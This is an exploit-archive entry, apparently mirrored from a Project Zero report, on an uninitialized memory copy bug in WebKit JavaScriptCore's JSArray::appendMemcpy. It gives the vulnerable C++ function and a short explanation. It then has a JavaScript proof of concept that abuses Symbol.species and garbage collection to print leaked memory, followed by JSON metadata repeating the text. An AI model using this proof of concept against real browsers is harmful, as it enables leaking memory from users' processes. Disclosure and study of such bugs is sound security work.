<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy
Here's a snippet of JSArray::appendMemcpy.
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
auto scope = DECLARE_THROW_SCOPE(vm);
if (!canFastCopy(vm, otherArray))
return false;
IndexingType type = indexingType();
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
if (type == ArrayWithUndecided && copyType != NonArray) {
if (copyType == ArrayWithInt32)
convertUndecidedToInt32(vm);
else if (copyType == ArrayWithDouble)
convertUndecidedToDouble(vm);
else if (copyType == ArrayWithContiguous)
convertUndecidedToContiguous(vm);
else {
ASSERT(copyType == ArrayWithUndecided);
return true;
}
} else if (type != copyType)
return false;
...
if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);
return true;
}
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.
PoC:
-->
function optNewArrayAndConcat() {
let a = [,,,,,,,,,];
return Array.prototype.concat.apply(a);
}
function main() {
Array.prototype.constructor = {
[Symbol.species]: function () {
return [{}];
}
};
gc();
for (let i = 0; i < 0x10000; i++) {
optNewArrayAndConcat().fill({});
}
gc();
for (let i = 0; i < 0x20000; i++) {
let res = optNewArrayAndConcat();
if (res[0])
print(res.toString());
}
}
main();
{"lastseen": "2020-04-01T20:40:49", "references": [], "description": "\nWebKit JSC - JSArray::appendMemcpy Uninitialized Memory Copy", "edition": 1, "reporter": "Google Security Research", "exploitpack": {"type": "dos", "platform": "multiple"}, "published": "2017-07-25T00:00:00", "title": "WebKit JSC - JSArray::appendMemcpy Uninitialized Memory Copy", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T20:40:49", "rev": 2}, "score": {"value": 0.4, "vector": "NONE", "modified": "2020-04-01T20:40:49", "rev": 2}, "vulnersScore": 0.4}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2017-07-25T00:00:00", "id": "EXPLOITPACK:231AC6BD412BB48C7335EF2F2C2AA7E4", "href": "", "viewCount": 1, "sourceData": "<!--\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236\n\nWebKit: JSC: JSArray::appendMemcpy uninitialized memory copy\n\nHere's a snippet of JSArray::appendMemcpy.\n\nbool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)\n{\n auto scope = DECLARE_THROW_SCOPE(vm);\n\n if (!canFastCopy(vm, otherArray))\n return false;\n\n IndexingType type = indexingType();\n IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());\n if (type == ArrayWithUndecided && copyType != NonArray) {\n if (copyType == ArrayWithInt32)\n convertUndecidedToInt32(vm);\n else if (copyType == ArrayWithDouble)\n convertUndecidedToDouble(vm);\n else if (copyType == ArrayWithContiguous)\n convertUndecidedToContiguous(vm);\n else {\n ASSERT(copyType == ArrayWithUndecided);\n return true;\n }\n } else if (type != copyType)\n return false;\n\n ...\n\n if (type == ArrayWithDouble)\n memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);\n else\n memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);\n\n return true;\n}\n\nThe method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.\nSo, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.\n\nPoC:\n-->\n\nfunction optNewArrayAndConcat() {\n let a = [,,,,,,,,,];\n return Array.prototype.concat.apply(a);\n}\n\nfunction main() {\n Array.prototype.constructor = {\n [Symbol.species]: function () {\n return [{}];\n }\n };\n\n gc();\n\n for (let i = 0; i < 0x10000; i++) {\n optNewArrayAndConcat().fill({});\n }\n\n gc();\n\n for (let i = 0; i < 0x20000; i++) {\n let res = optNewArrayAndConcat();\n if (res[0])\n print(res.toString());\n }\n}\n\nmain();", "cvss": {"score": 0.0, "vector": "NONE"}}